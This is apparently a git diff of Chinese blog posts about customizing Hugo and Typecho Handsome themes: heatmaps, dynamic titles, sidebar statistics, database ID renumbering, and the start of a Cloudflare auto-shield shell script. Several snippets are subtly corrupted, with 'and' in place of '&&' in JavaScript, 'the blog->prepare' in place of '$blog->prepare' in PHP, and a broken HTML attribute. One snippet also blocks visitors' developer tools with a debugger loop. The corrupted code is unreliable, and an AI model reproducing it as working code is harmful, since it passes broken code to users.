{{ end }}
{{ end }}
{{ define "right-sidebar" }}
{{ if .Scratch.Get "hasWidget" }}{{ partial "sidebar/right.html" (dict "Context" . "Scope" "page") }}{{ end}}
{{ end }}
```
#### 代码块引入MacOS窗口样式
在主题目录下的`assets`文件夹中的`img`文件夹中,创建一个名为`code-header.svg`的文件,在文件中写入以下内容:
```bash
<svg xmlns="http://www.w3.org/2000/svg" version="1.1" x="0px" y="0px" width="450px" height="130px">
<ellipse cx="65" cy="65" rx="50" ry="52" stroke="rgb(220,60,54)" stroke-width="2" fill="rgb(237,108,96)"/>
<ellipse cx="225" cy="65" rx="50" ry="52" stroke="rgb(218,151,33)" stroke-width="2" fill="rgb(247,193,81)"/>
<ellipse cx="385" cy="65" rx="50" ry="52" stroke="rgb(27,161,37)" stroke-width="2" fill="rgb(100,200,86)"/>
</svg>
```
在`custom.scss`文件中添加以下内容:
```bash
//----------------------------------------------------------
//为代码块顶部添加macos样式
.article-content {
.highlight:before {
content: "";
display: block;
background: url(../img/code-header.svg);
height: 32px;
width: 100%;
background-size: 57px;
background-repeat: no-repeat;
margin-bottom: 5px;
background-position: -1px 2px;
}
}
```
#### 热力图
新建 `hugo/themes/hugo-theme-stack/layouts/shortcodes/heatmap.html`
```bash
<div id="heatmap" style="
max-width: 1900px;
height: 180px;
padding: 2px;
text-align: center;
"
></div>
<script src="https://cdn.jsdelivr.net/npm/echarts@5.3.0/dist/echarts.min.js"></script>
<script type="text/javascript">
var chartDom = document.getElementById('heatmap');
var myChart = echarts.init(chartDom);
window.onresize = function() {
myChart.resize();
};
var option;
// echart heatmap data seems to only support two elements tuple
// it doesn't render when each item has 3 value
// it also only pass first 2 elements when reading event param
// so here we build a map to store additional metadata like link and title
// map format {date: [{wordcount, link, title}]}
// for more information see https://blog.douchi.space/hugo-blog-heatmap
var dataMap = new Map();
{{ range ((where .Site.RegularPages "Type" "post")) }}
var key = {{ .Date.Format "2006-01-02" }};
var value = dataMap.get(key);
var wordCount = {{ .WordCount }};
var link = {{ .RelPermalink}};
var title = {{ .Title }};
// multiple posts in same day
if (value == null) {
dataMap.set(key, [{wordCount, link, title}]);
} else {
value.push({wordCount, link, title});
}
{{- end -}}
var data = [];
// sum up the word count
for (const [key, value] of dataMap.entries()) {
var sum = 0;
for (const v of value) {
sum += v.wordCount;
}
data.push([key, (sum / 1000).toFixed(1)]);
}
var startDate = new Date();
var year_Mill = startDate.setFullYear((startDate.getFullYear() - 1));
var startDate = +new Date(year_Mill);
var endDate = +new Date();
var dayTime = 3600 * 24 * 1000;
startDate = echarts.format.formatTime('yyyy-MM-dd', startDate);
endDate = echarts.format.formatTime('yyyy-MM-dd', endDate);
// change date range according to months we want to render
function heatmap_width(months){
var startDate = new Date();
var mill = startDate.setMonth((startDate.getMonth() - months));
var endDate = +new Date();
startDate = +new Date(mill);
endDate = echarts.format.formatTime('yyyy-MM-dd', endDate);
startDate = echarts.format.formatTime('yyyy-MM-dd', startDate);
var showmonth = [];
showmonth.push([
startDate,
endDate
]);
return showmonth
};
function getRangeArr() {
const windowWidth = window.innerWidth;
if (windowWidth >= 600) {
return heatmap_width(12);
} else if (windowWidth >= 400) {
return heatmap_width(9);
} else {
return heatmap_width(6);
}
}
option = {
title: {
top: 0,
left: 'center',
text: '热力图'
},
tooltip: {
hideDelay: 1000,
enterable: true,
formatter: function (p) {
const date = p.data[0];
const posts = dataMap.get(date);
var content = `${date}`;
for (const [i, post] of posts.entries()) {
content += "<br>";
var link = post.link;
var title = post.title;
var wordCount = (post.wordCount / 1000).toFixed(1);
content += `<a href="${link}" target="_blank">${title} | ${wordCount} k</a>`
}
return content;
}
},
visualMap: {
min: 0,
max: 10,
type: 'piecewise',
orient: 'horizontal',
left: 'center',
top: 30,
inRange: {
// [floor color, ceiling color]
color: ['#7aa8744c', '#7AA874' ]
},
splitNumber: 4,
text: ['千字', ''],
showLabel: true,
itemGap: 20,
},
calendar: {
top: 80,
left: 20,
right: 4,
cellSize: ['auto', 13],
range: getRangeArr(),
itemStyle: {
color: '#F1F1F1',
borderWidth: 1.5,
borderColor: '#fff',
},
yearLabel: { show: false },
// the splitline between months. set to transparent for now.
splitLine: {
lineStyle: {
color: 'rgba(0, 0, 0, 0.0)',
// shadowColor: 'rgba(0, 0, 0, 0.5)',
// shadowBlur: 5,
// width: 0.5,
// type: 'dashed',
}
}
},
series: {
type: 'heatmap',
coordinateSystem: 'calendar',
data: data,
}
};
myChart.setOption(option);
myChart.on('click', function(params) {
if (params.componentType === 'series') {
// open the first post on the day
const post = dataMap.get(params.data[0])[0];
const link = window.location.origin + post.link;
window.open(link, '_blank').focus();
}
});
</script>
```
文章里输入(将`\`删除)
```markdown
{\{< heatmap >}\}
```
#### 汉语和英语之间自动添加空格
在主题目录中的 `layouts/partials/footer/footer.html` 中写入以下内容
```bash
<script>
(function(u, c) {
var d = document, t = 'script', o = d.createElement(t),
s = d.getElementsByTagName(t)[0];
o.src = u;
if (c) { o.addEventListener('load', function(e) { c(e); }); }
s.parentNode.insertBefore(o, s);
})('//cdn.bootcss.com/pangu/4.0.7/pangu.min.js', function() {
pangu.spacingPage();
});
</script>
```

View File

@ -0,0 +1,863 @@
---
title: "typecho 【Handsome】本站魔改备忘录"
date: 2023-04-28T20:56:00Z
tags: []
---
## 推荐插件
<details>
<summary>推荐插件</summary>
- :多种字体可以更换
- :自动生成 Sitemap 站点地图
- 一款即插即用的typecho后台美化插件
- 显示评论人使用的操作系统和浏览器信息Handsome主题专用
</details>
---
## 去掉地址栏的index.php
<details>
<summary>去掉地址栏的index.php</summary>
1. 配置伪静态规则
如果使用的宝塔面板,就在 网站-设置-伪静态-选择Typecho-保存即可
2. 配置URL格式
进入Typecho后台控制面板
点击 设置->永久链接 将是否使用地址重写功能改为启用 这里可能系统提示不支持地址重写选择强制开启之类的就行了。再在自定义文章路径中选择自己喜欢的URL格式保存设置后马上就生效了
</details>
---
## 删除Handsome主题首页的站点名称及副标题
<details>
<summary>后台控制台 - 外观 - 编辑当前外观 - 编辑文件 `index.php`</summary>
删除以下代码:
```php
<h1 class="m-n font-thin text-black l-h"><?php $this->options->title(); ?></h1>
```
</details>
---
## 浏览器动态标题
<details>
<summary>主题设置 - 开发者设置 - 自定义输出body尾部的HTML代码添加以下代码</summary>
```html
<!--浏览器动态标题开始-->
<script>
var OriginTitle = document.title;
var titleTime;
document.addEventListener('visibilitychange', function () {
if (document.hidden) {
$('[rel="icon"]').attr('href', "//file.kaygb.top/static_image/tx.png");
document.title = 'ヽ(●-`Д´-)ノ我藏好了哦!';
clearTimeout(titleTime);
}
else {
$('[rel="icon"]').attr('href', "//file.kaygb.top/static_image/tx.png");
document.title = 'ヾ(Ő∀Ő3)ノ被你发现啦~' + OriginTitle;
titleTime = setTimeout(function () {
document.title = OriginTitle;
}, 2000);
}
});
</script>
<!--浏览器动态标题结束-->
```
</details>
---
## 左上角博客LOGO/博客名称的扫光效果
<details>
<summary>主题设置 - 开发者设置 - 自定义CSS添加以下代码</summary>
```css
/* logo扫光 */
.navbar-brand{position:relative;overflow:hidden;margin: 0px 0 0 0px;}.navbar-brand:before{content:""; position: absolute; left: -665px; top: -460px; width: 200px; height: 15px; background-color: rgba(255,255,255,.5); -webkit-transform: rotate(-45deg); -moz-transform: rotate(-45deg); -ms-transform: rotate(-45deg); -o-transform: rotate(-45deg); transform: rotate(-45deg); -webkit-animation: searchLights 6s ease-in 0s infinite; -o-animation: searchLights 6s ease-in 0s infinite; animation: searchLights 6s ease-in 0s infinite;}@-moz-keyframes searchLights{50%{left: -100px; top: 0;} 65%{left: 120px; top: 100px;}}@keyframes searchLights{40%{left: -100px; top: 0;} 60%{left: 120px; top: 100px;} 80%{left: -100px; top: 0px;}}
```
</details>
---
## 左上角网站FPS显示
<details>
<summary>主题设置 - 开发者设置 - 自定义 JavaScript添加以下代码</summary>
```html
<!--fps显示-->
var console={};
console.log=function(){};
$('body').before('<div id="fps" style="
z-index:10000;position:fixed;top:3;left:3;font-weight:bold;"></div>');
var showFPS = (function(){
var requestAnimationFrame =
window.requestAnimationFrame ||
window.webkitRequestAnimationFrame ||
window.mozRequestAnimationFrame ||
window.oRequestAnimationFrame ||
window.msRequestAnimationFrame ||
function(callback) {
window.setTimeout(callback, 1000/60);
};
var e,pe,pid,fps,last,offset,step,appendFps;
fps = 0;
last = Date.now();
step = function(){
offset = Date.now() - last;
fps += 1;
if( offset >= 1000 ){
last += offset;
appendFps(fps);
fps = 0;
}
requestAnimationFrame( step );
};
appendFps = function(fps){
console.log(fps+'FPS');
$('#fps').html(fps+'FPS');
};
step();
})();
```
</details>
---
## 顶部导航栏添加网页动态滚动进度条
<details>
<summary>顶部导航栏添加网页动态滚动进度条</summary>
1. 在`handsome/component/header.php`文件中最下面添加代码
```html
<div class="progress-top" style="position: fixed; top: 0px; height: 5px; background: rgba(31, 159, 199, 0.79); border-radius: 500px; z-index: 5200;"></div>
```
2. 主题设置 - 开发者设置 - 自定义 JavaScript添加以下代码
```javascript
<!--顶部进度条-->
let pageHeight = document.body.scrollHeight || document.documentElement.scrollHeight;
let windowHeight = document.documentElement.clientHeight || document.body.clientHeight;
let scrollAvail = pageHeight - windowHeight;
window.onscroll = function () {
let scrollTop = document.documentElement.scrollTop || document.body.scrollTop;
document.querySelector('.progress-top').style.width = (scrollTop / scrollAvail) * 100 + '%';
}
```
</details>
---
## 博主介绍文字动态化
<details>
<summary>将以下代码放到主题后台-外观-设置外观-初级设置-博主的介绍内即可</summary>
```html
<!--博主介绍的闪字特效--> <span class="text-muted text-xs block"><div id="chakhsu"></div> <script> var chakhsu = function (r) {function t() {return b[Math.floor(Math.random() * b.length)]} function e() {return String.fromCharCode(94 * Math.random() + 33)} function n(r) {for (var n = document.createDocumentFragment(), i = 0; r > i; i++) { var l = document.createElement("span"); l.textContent = e(), l.style.color = t(), n.appendChild(l) } return n}function i() {var t = o[c.skillI]; c.step ? c.step-- : (c.step = g, c.prefixP < l.length ? (c.prefixP >= 0 && (c.text += l[c.prefixP]), c.prefixP++) : "forward" === c.direction ? c.skillP < t.length ? (c.text += t[c.skillP], c.skillP++) : c.delay ? c.delay-- : (c.direction = "backward", c.delay = a) : c.skillP > 0 ? (c.text = c.text.slice(0, -1), c.skillP--) : (c.skillI = (c.skillI + 1) % o.length, c.direction = "forward")), r.textContent = c.text, r.appendChild(n(c.prefixP < l.length ? Math.min(s, s + c.prefixP) : Math.min(s, t.length - c.skillP))), setTimeout(i, d) } /*以下内容自定义修改*/ var l = "", o = ["就是不想想太多,所以摆烂了" ].map(function (r) {return r + ""}), a = 2, g = 1, s = 5, d = 75, b = ["rgb(110,64,170)", "rgb(150,61,179)", "rgb(191,60,175)", "rgb(228,65,157)", "rgb(254,75,131)", "rgb(255,94,99)", "rgb(255,120,71)", "rgb(251,150,51)", "rgb(226,183,47)", "rgb(198,214,60)", "rgb(175,240,91
)", "rgb(127,246,88)", "rgb(82,246,103)", "rgb(48,239,130)", "rgb(29,223,163)", "rgb(26,199,194)", "rgb(35,171,216)", "rgb(54,140,225)", "rgb(76,110,219)", "rgb(96,84,200)"], c = {text: "", prefixP: -s, skillI: 0, skillP: 0, direction: "forward", delay: a, step: g}; i() }; chakhsu(document.getElementById('chakhsu')); </script> </span> </span>
```
</details>
---
## 防止他人F12抓你代码和调试
<details>
<summary>主题设置 - 开发者设置 - 自定义 JavaScript添加以下代码</summary>
```javascript
<!--干扰调试-->
var check = (function () {
var callbacks = [], timeLimit = 50, open = false;
setInterval(loop, 1);
return {
addListener: function (fn) {
callbacks.push(fn);
},
cancleListenr: function (fn) {
callbacks = callbacks.filter(function (v) {
return v !== fn;
});
}
}
function loop() {
var startTime = new Date();
debugger;
if (new Date() - startTime > timeLimit) {
if (!open) {
callbacks.forEach(function (fn) {
fn.call(null);
});
}
open = true;
window.stop();
} else {
open = false;
}
}
})();
check.addListener(function () {
window.location.reload();
});
<!--禁止右击与F12-->
document.onkeydown = function(){
if(window.event && window.event.keyCode == 123) {
alert("F12被禁用");
event.keyCode=0;
event.returnValue=false;
}
if(window.event && window.event.keyCode == 13) {
window.event.keyCode = 505;
}
if(window.event and window.event.keyCode == 8) {
alert(str+"\n请使用Del键进行字符的删除操作");
window.event.returnValue=false;
}
}
```
</details>
---
## 添加复制弹窗
<details>
<summary>主题设置 - 开发者设置 - 自定义 JavaScript添加以下代码</summary>
```javascript
/* 复制成功提示代码开始 */
kaygb_copy();function kaygb_copy(){$(document).ready(function(){$("body").bind('copy',function(e){hellolayer()})});var sitesurl=window.location.href;function hellolayer(){
$.message({
message: "转载请注明出处!<br> 本文作者lsy<br>原文链接:"+sitesurl,
title: "复制成功",
type: "warning",
autoHide: !1,
time: "5000"
})
}}
/* 复制成功提示代码结束 */
```
</details>
---
## 在博客顶部添加心知天气
<details>
<summary>在博客顶部添加心知天气</summary>
首先去[心知天气官网](https://www.seniverse.com/)注册账号并申请API
之后在`/usr/themes/handsome/component/headnav.php`文件中的动态日历中`<?php endif;?>`下方添加以下代码
注意将API信息改成自己的
```html
<!-- 知心天气-->
<div id="tp-weather-widget" class="navbar-form navbar-form-sm navbar-left shift"></div>
<script>(function(T,h,i,n,k,P,a,g,e){g=function(){P=h.createElement(i);a=h.getElementsByTagName(i)[0];P.src=k;P.charset="utf-8";P.async=1;a.parentNode.insertBefore(P,a)};T["ThinkPageWeatherWidgetObject"]=n;T[n]||(T[n]=function(){(T[n].q=T[n].q||[]).push(arguments)});T[n].l=+new Date();if(T.attachEvent){T.attachEvent("onload",g)}else{T.addEventListener("load",g,false)}}(window,document,"script","tpwidget","//widget.seniverse.com/widget/chameleon.js"))</script>
<script>tpwidget("init", {
"flavor": "slim",
"location": "WX4FBXXFKE4F",
"geolocation": "enabled",
"language": "auto",
"unit": "c",
"theme": "chameleon",
"container": "tp-weather-widget",
"
bubble": "enabled",
"alarmType": "badge",
"color": "#C6C6C6",
"uid": "公钥",
"hash": "密钥"
});
tpwidget("show");</script>
<!-- 知心结束-->
```
</details>
---
## 左侧图标美化
<details>
<summary>PJAX回调函数和自定义 JavaScript添加以下代码</summary>
```javascript
<!--左侧图标颜色-->
let leftHeader=document.querySelectorAll("span.nav-icon>svg,span.nav-icon>i");let leftHeaderColorArr=["#FF69B4","#58c7ea","#E066FF","#FF69B4","#FFA54F","#90EE90","#0043ff","#cc00ff","#878787","#A0522D","#FF7256","#FFA500","#8B0000","#7CFC00","#4EEE94","#00FFFF","#EE0000"];leftHeader.forEach(tag=>{tagsColor=leftHeaderColorArr[Math.floor(Math.random()*leftHeaderColorArr.length)];tag.style.color=tagsColor});
```
</details>
---
## 底部-个性化网站版权信息/备案信息
<details>
<summary>文章尾部添加版权信息</summary>
删除主题版权信息
修改`usr/themes/handsome/component/footer.php`从117行`footer`替换到`《/footer》`
```html
<footer id="footer" class="app-footer" role="footer">
<div class="wrapper bg-light">
<span class="pull-right hidden-xs text-ellipsis">
<?php $this->options->BottomInfo();
// 可以去除主题版权信息,最好保留版权信息或者添加主题信息到友链,谢谢你的理解
?>
</span>
<span class="text-ellipsis">
<?php
$this->options->BottomleftInfo(); ?>
</span>
</div>
</footer>
```
主题设置 - 开发者设置 - 博客底部左侧信息添加以下代码
```html
<!--右侧底部-->
<div style="display: inline-flex; flex-wrap: wrap; align-items: center; border-radius: 4px; text-shadow: none; font-size: 12px; color: #fff; line-height: 15px; margin-bottom: 5px">
<div style="display: flex; margin-right: 8px;">
<a href="http://www.typecho.org" target="_blank" title="由 Typecho 强力驱动" style="cursor: url('/usr/plugins/HoerMouse/static/image/dew/link.cur'), pointer; display: flex; align-items: center;">
<span style="background-color: #333; padding: 4px 6px; border-top-left-radius: 4px; border-bottom-left-radius: 4px;">Powered</span>
<span style="padding: 4px 6px; border-top-right-radius: 4px; border-bottom-right-radius: 4px; background-color: #17a2b8; text-decoration: none; color: #fff;">Typecho</span>
</a>
</div>
<div style="display: flex;">
<a href="https://www.ihewro.com/archives/489/" target="_blank" title="站点使用 handsome 主题作者友人C" style="cursor: url('/usr/plugins/HoerMouse/static/image/dew/link.cur'), pointer; display: flex; align-items: center;">
<span style="background-color: #333; padding: 4px 6px; border-top-left-radius: 4px; border-bottom-left-radius: 4px;">Theme</span>
<span style="padding: 4px 6px; border-top-right-radius: 4px; border-bottom-right-radius: 4px; background-color: #ffc107; text-decoration: none; color: #fff;">Handsome</span>
</a>
</div>
</div>
```
主题设置 - 开发者设置 - 博客底部右侧信息添加以下代码
```html
<!--右侧底部-->
<div style="display: inline-flex; flex-wrap: wrap; align-items: center; border-radius: 4px; text-shadow: none; font-size: 12px; color: #fff; line-height: 15px; margin-bottom: 5px">
<div style="display: flex; margin-right: 8px;">
<a href="http://www.typecho.org" target="_blank" title="由 Typecho 强力驱动" style="cursor: url('/usr/plugins/HoerMouse/static/image/dew/link.cur'), pointer; display: flex; align-items: center;">
<span style="background-color: #333; padding: 4px 6px; border-top-left-radius: 4px; border-bottom-left-radius: 4px;">Powered</span>
<span style="padding: 4px 6px; border-top-right-radius: 4px; border-bottom-right-radius: 4px; background-color: #17a2b8; text-decoration: none; color: #fff;">Typecho</span>
</a>
</div>
<div style="display: flex;">
<a href="https://www.ihewro.com/archives/489/" target="_blank" title="站点使用 handsome 主题作者友人C" style="cursor: url('/usr/plugins/HoerMouse/static/image/dew/link.cur'), pointer; display: flex; align-items: center;">
<span style="background-color: #333; padding: 4px 6px; border-top-left-radius: 4px; border-bottom-left-radius: 4px;">Theme</span>
<span style="padding: 4px 6px; border-top-right-radius: 4px; border-bottom-right-radius: 4px; background-color: #ffc107; text-decoration: none; color: #fff;">Handsome</span>
</a>
</div>
</div>
```
</details>
---
## 文章末尾版权声明
<details>
<summary>版权声明</summary>
1.主题设置 - 开发者设置 - 自定义CSS添加以下代码
```css
/*文章底部版权*/
.myfieldset {
border: 1px dashed #dce0e3;
padding: 10px;
border-radius: 5px;
line-height: 2em;
color: #6d6d6d;
}
```
2.将以下代码加到/usr/themes/handsome/post.php中`<!--文章的页脚部件:打赏和其他信息的输出-->`上一行
```html
<!--网站声明代码start-->
<div>
<fieldset class="myfieldset">
<legend align="center" class="mylegend" style="font-size: 14px">版权声明</legend>
博客名称:<strong> lsy的小站</strong>
<br>
本文链接:<span style="color: #3984f5; font-size: 14px"><strong>
<a href="<?php $this->permalink()?>"title="<?php $this->title()?>"><?php $this->permalink() ?></a></strong></span>
<br>
内容来源: 部分内容可能来源于公共网络,仅供学习交流,如有侵权,请联系博主进行核实删除。
<br>
转载说明: 请勿用于商业用途,转载请注明出处!
<br>
</fieldset>
</div>
<!--网站声明代码end-->
```
</details>
---
## 博客信息美化
<details>
<summary>添加右侧全站字数、在线人数、响应耗时和访客总数</summary>
1.Content.php添加
将以下代码加到/usr/themes/handsome/libs/Content.php中放在class Content的上面
```php
/*访问总量*/
function theAllViews(){
$db = Typecho_Db::get();
$row = $db->fetchAll('SELECT SUM(VIEWS) FROM `typecho_contents`');
echo number_format($row[0]['SUM(VIEWS)']);
}
/*响应时间*/
function timer_start() {
global $timestart;
$mtime = explode( ' ', microtime() );
$timestart = $mtime[1] + $mtime[0];
return true;
}
timer_start();
function timer_stop( $display = 0, $precision = 3 ) {
global $timestart, $timeend;
$mtime = explode( ' ', microtime() );
$timeend = $mtime[1] + $mtime[0];
$timetotal = number_format( $timeend - $timestart, $precision );
$r = $timetotal < 1 ? $timetotal * 1000 . " ms" : $timetotal . " s";
if ( $display ) {
echo $r;
}
return $r;
}
/*全站字数*/
function allOfCharacters() {
$chars = 0;
$db = Typecho_Db::get();
$select = $db ->select('text')->from('table.contents');
$rows = $db->fetchAll($select);
foreach ($rows as $row) { $chars += mb_strlen(trim($row['text']), 'UTF-8'); }
$unit = '';
if($chars >= 10000) { $chars /= 10000; $unit = '万'; }
else if($chars >= 1000) { $chars /= 1000; $unit = '千'; }
$out = sprintf('%.2lf %s',$chars, $unit);
return $out;
}
/*在线人数*/
function online_users() {
$filename='online.txt'; //数据文件
$cookiename='Nanlon_OnLineCount'; //Cookie名称
$onlinetime=30; //在线有效时间
$online=file($filename);
$nowtime=$_SERVER['REQUEST_TIME'];
$nowonline=array();
foreach($online as $line){
$row=explode('|',$line);
$sesstime=trim($row[1]);
if(($nowtime -
$sesstime)<=$onlinetime){
$nowonline[$row[0]]=$sesstime;
}
}
if(isset($_COOKIE[$cookiename])){
$uid=$_COOKIE[$cookiename];
}else{
$vid=0;
do{
$vid++;
$uid='U'.$vid;
}while(array_key_exists($uid,$nowonline));
setcookie($cookiename,$uid);
}
$nowonline[$uid]=$nowtime;
$total_online=count($nowonline);
if($fp=@fopen($filename,'w')){
if(flock($fp,LOCK_EX)){
rewind($fp);
foreach($nowonline as $fuid=>$ftime){
$fline=$fuid.'|'.$ftime."\n";
@fputs($fp,$fline);
}
flock($fp,LOCK_UN);
fclose($fp);
}
}
echo "$total_online";
}
```
2.sidebar.php添加
找到/usr/themes/handsome/component/sidebar.php文件找到代码
```php
<!--博客信息-->
<?php if (@!in_array('info', Utils::checkArray($this->options->sidebarSetting))): ?>
<section id="blog_info" class="widget widget_categories wrapper-md clear">
<h5 class="widget-title m-t-none text-md"><?php _me("博客信息") ?></h5>
<ul class="list-group box-shadow-wrap-normal">
<?php Typecho_Widget::widget('Widget_Stat')->to($stat); ?>
<li class="list-group-item text-second"><span class="blog-info-icons"> <i data-feather="award"></i></span> <span
class="badge
pull-right"><?php $stat->publishedPostsNum() ?></span><?php _me("文章数目") ?></li>
<?php if (COMMENT_SYSTEM == 0): ?>
<li class="list-group-item text-second"> <span class="blog-info-icons"> <i data-feather="message-circle"></i></span>
<span class="badge
pull-right"><?php $stat->publishedCommentsNum() ?></span><?php _me("评论数目") ?></li>
<?php endif; ?>
<li class="list-group-item text-second"><span class="blog-info-icons"> <i data-feather="calendar"></i></span>
<span class="badge
pull-right"><?php echo Utils::getOpenDays(); ?></span><?php _me("运行天数") ?></li>
<li class="list-group-item text-second"><span class="blog-info-icons"> <i data-feather="activity"></i></span> <span
class="badge
pull-right"><?php echo Utils::getLatestTime($this); ?></span><?php _me("最后活动") ?></li>
</ul>
</section>
<?php endif; ?>
<?php if ($this->options->adContentSidebar != ""): ?>
```
替换为如下代码:
```php
<!--博客信息-->
<?php if (@!in_array('info', Utils::checkArray($this->options->sidebarSetting))): ?>
<section id="blog_info" class="widget widget_categories wrapper-md clear">
<h5 class="widget-title m-t-none text-md"><?php _me("博客信息") ?></h5>
<ul class="list-group box-shadow-wrap-normal">
<li class="list-group-item text-second">
<span class="blog-info-icons">
<i data-feather="refresh-ccw">
</i>
</span>
<span class="badge pull-right">
<?php echo timer_stop(); ?>
</span>
<?php _me("响应耗时") ?>
</li>
<li class="list-group-item">
<i class="glyphicon glyphicon-user text-muted text-muted">
</i>
<span class="badge pull-right">
<?php echo online_users() ?>
</span>
<?php _me("在线人数") ?>
</li>
<li class="list-group-item text-second"><span the blog-info-icons"> <i data-feather="calendar"></i></span>
<span class="badge
pull-right"><?php echo Utils::getOpenDays(); ?></span><?php _me("运行天数") ?></li>
<!--自定义统计-->
<li class="list-group-item text-second">
<span class="blog-info-icons">
<i data-feather="edit-3">
</I>
</span>
<span class="badge pull-right">
<?php echo allOfCharacters(); ?>
</span>
<?php _me("全站字数") ?>
</li>
<li class="list-group-item text-second">
<span class="blog-info-icons">
<i data-feather="users">
</i>
</span>
<span class="badge pull-right">
<?php echo theAllViews(); ?>
</span>
<?php _me("访客总数") ?>
</li>
</ul>
</section>
<?php endif; ?>
<?php if ($this->options->adContentSidebar != ""): ?>
```
</details>
---
## 手机不显示标签云和热门
<details>
<summary>主题设置 - 开发者设置 - 自定义CSS添加以下代码</summary>
```css
/*手机不显示*/
@media (max-width:767px) {
#tabs-4,#tag_cloud-2 {
display: none;
}
}
```
</details>
---
## 图片API随机动漫文章头图
<details>
<summary>随机api头图</summary>
8.4.1版本以下打开并编辑`/usr/themes/handsome/libs`路径下的`Content.php`文件
查找如下代码
```php
$random = STATIC_PATH . 'img/sj/' . @$randomNum[$index] . '.jpg';//如果有文章置顶这里可能会导致index not undefined
```
9.0.1版本以上打开并编辑`/usr/themes/handsome/libs/content`路径下的`CommonContent.php`文件
查找如下代码
```php
$random = STATIC_PATH . 'img/sj/' . @$randomNum[$index];//如果有文章置顶这里可能会导致index not undefined
```
并替换该代码保存
```php
$random = 'https://tc.lsy22.com/api.php?_='.rand(999, 3000);
```
</details>
---
## 给网站加上樱花飘落JS效果
<details>
<summary>主题设置 - 开发者设置 - 自定义输出body 尾部的HTML代码添加以下代码(将url替换为域名)</summary>
也可以将[代码](https://lsy22.lanzouj.com/iILyN1ihsbbc)下载下来放解压放到站点根目录
```html
<script type="text/javascript">//
var system ={};
$.getScript("https://url/yinghua.js");
</script>
```
</details>
---
## Typecho下文章cid、分类和标签mid不连续的问题
============================
<details>
<summary>cid</summary>
```php
<?php
/**
* Typecho重新排列分文章cid让他连续
*/
// 设置数据库参数
$hostname_blog = "localhost";
$database_blog = "数据库名";
$username_blog = "数据库用户名";
$password_blog = "数据库密码";
// 连接到数据库
$blog = mysqli_connect($hostname_blog, $username_blog, $password_blog, $database_blog) or die(mysqli_connect_error());
// 设置计数器的初始值
$no = 1;
// 定义一个函数来更新文章cid
function change_id($cid)
{
global $no, $blog;
// 更新文章cid并更新与类别、标签、自定义字段和评论的关系
mysqli_query($blog, "UPDATE typecho_contents SET cid = $no WHERE cid = $cid");
mysqli_query($blog, "UPDATE typecho_relationships SET cid = $no WHERE cid = $cid");
mysqli_query($blog, "UPDATE typecho_comments SET cid = $no WHERE cid = $cid");
$no = $no + 1;
}
// 从数据库中选择所有文章cid按其 cid 排序
$query_postRecord = "SELECT cid FROM typecho_contents ORDER BY cid ASC";
$result = mysqli_query($blog, $query_postRecord);
// 循环浏览文章并更新其 cid
while ($row = mysqli_fetch_assoc($result)) {
change_id($row['cid']);
}
// 重置文章 cid 的自动递增值
mysqli_query($blog, "ALTER TABLE typecho_contents AUTO_INCREMENT = $no");
echo 'ok';
?>
```
</details>
<details>
<summary>mid</summary>
```php
<?php
/**
* Typecho重新排列分类和标签meta不连续的mid
*/
// 数据库参数
$hostname_blog = "localhost";
$database_blog = "数据库名";
$username_blog = "数据库用户名";
$password_blog = "数据库密码";
$blog = new mysqli($hostname_blog, $username_blog, $password_blog, $database_blog);
// 检查错误
if ($blog->connect_error) {
trigger_error($blog->connect_error, E_USER_ERROR);
}
// 定义全球变量以跟踪"no"值
$no = 1;
// 定义一个函数来更新 mid 及其关系
function change_id($mid)
{
global $no;
global $
blog;
// 更新mid
$sql = "UPDATE typecho_metas SET mid = ? WHERE mid = ?";
$stmt = $blog->prepare($sql);
$stmt->bind_param("ii", $no, $mid);
$stmt->execute();
// 更新关系
$sql = "UPDATE typecho_relationships SET mid = ? WHERE mid = ?";
$stmt = the blog->prepare($sql);
$stmt->bind_param("ii", $no, $mid);
$stmt->execute();
// 递增"no"值
$no++;
}
// 从数据库中获取所有mid
$query_postRecord = "SELECT mid FROM typecho_metas ORDER BY mid ASC";
$all_postRecord = $blog->query($query_postRecord);
// 循环遍历结果并调用 change_id 函数
while ($row_postRecord = $all_postRecord->fetch_assoc()) {
change_id($row_postRecord['mid']);
}
// 重置typecho_metas表的自动增量值
$blog->query("ALTER TABLE typecho_metas AUTO_INCREMENT = $no");
echo 'ok';
?>
```
</details>
## typecho排版异常
============================
在`config.inc.php`末尾加上下面的代码
```php
define('__TYPECHO_SECURE__',true);
```
<!--more-->
## Handsome文件
============================
```html
component/aside.php 左边导航栏
component/comments.php 评论区
component/footer.php 底部版权、音乐播放器之类
component/header.php 页面头,没啥要改的
component/headnav.php 顶部导航
component/say.php 时光机动态
component/sidebar.php 右侧栏目
component/third_party_comments.php 3.3.0新增,第三方评论
css/ 博客CSS一般不要改
fonts/ 博客字体,一般不要改
img/ 图像,一般不要改
js/ js文件一般不要改
lang/ 语言文件
libs/Content.php 文章内容
libs/... 一般不要改
usr/ 另一个语言文件?
404.php 404界面
archive.php 整合
booklist.php 书单
cross.php 时光机
files.php 归档
functions.php 配置界面的东西
guestbook.php 留言板
index.php 首页
links.php 友链
page.php 文章页面整合
post.php 文章输出
color 选填不填默认为success绿色可选值
light白色
info蓝色
dark深色
success绿色
black黑色
warning黄色
primary紫色
danger红色
```
[1]: https://github.com/xxhzm/FontLibs
[2]: https://github.com/ethanzhao2001/Sitemap-For-Typecho
[3]: https://github.com/gogobody/SimpleAdmin
[4]: https://doge.uk/coding/useragent-modify.html
[5]: https://www.seniverse.com/
[6]: https://lsy22.lanzouj.com/iILyN1ihsbbc
[7]: https://www.ascv.cn/archives/542.html
[8]: https://lsy22.lanzouj.com/iTpBJ1b4z0uh
---

View File

@ -0,0 +1,232 @@
---
title: "使用宝塔面板受到CC攻击后自动开启 Cloudflare 经典的 5 秒盾"
date: 2023-07-09T19:21:00+00:00
tags: [cloudflare]
---
项目地址:[https://github.com/csh733/autouam_control](https://github.com/csh733/autouam_control)
**原理:** 通过检测系统负载cpu或load自动开启 Cloudflare UAM 和 challenge验证码
## 宝塔面板计划任务
复制下面的脚本代码,使用前修改以下配置值,放在计划任务的 shell 脚本之中。
```bash
#!/bin/bash
# --------------------------使用前修改以下配置值--------------------------
mode="load"
# 两种模式可选load (负载) 二cpu。建议选 load
challenge="1"
# 是否同时开启验证码质询 设为1即开启。建议开启
keeptime="180"
# ≈开盾最小时间如60 则开盾60秒内负载降低不会关60秒后关。建议值 180
interval="1"
# 检测间隔时间默认0.5秒。建议设为1
email="눈_눈"
# CloudFlare 账号邮箱
api_key="눈_눈"
# CloudFlare API KEY
zone_id="눈_눈"
# 区域ID 在域名的概述页面获取
default_security_level="high"
# 默认安全等级 关闭UAM时将会把安全等级调整为它
